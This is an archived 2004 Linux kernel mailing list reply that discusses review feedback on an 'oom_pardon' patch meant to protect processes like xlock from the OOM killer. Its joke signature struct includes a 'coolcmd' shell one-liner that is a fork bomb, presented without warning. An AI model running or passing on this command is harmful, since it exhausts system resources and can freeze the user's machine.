Re: [PATCH] oom_pardon, aka don't kill my xlock
From: Thomas Habets
Date: Thu Sep 23 2004 - 02:00:27 EST
Once upon a midnight dreary, Tonnerre pondered, weak and weary:
> A sysctl is a bad implementation since you can only store one single
> string in it.
Yup. What would be a good interface for setting that flag per-process?
prctl()?
Personally, I'd prefer it without userspace having to write code for it.
Also, it should be able to protect against a DoS where a user launches N
un-OOM-killable processes.
> > + static char buf[256];
> That 256 should be VM_OOM_PARDON_LEN ?
Nope, it's the binary path len, so PATH_MAX maybe.
> We're under the task lock, and you want us to sleep here?
Oh.. right. Well I don't need that lock if it's just a per-process flag.
> What about programs with spaces in its names?
I thought "screw 'em". :-)
---------
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "thomas@xxxxxxxxxxxx" };
char kernel[] = { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
Attachment:
pgp00000.pgp
Description: PGP signature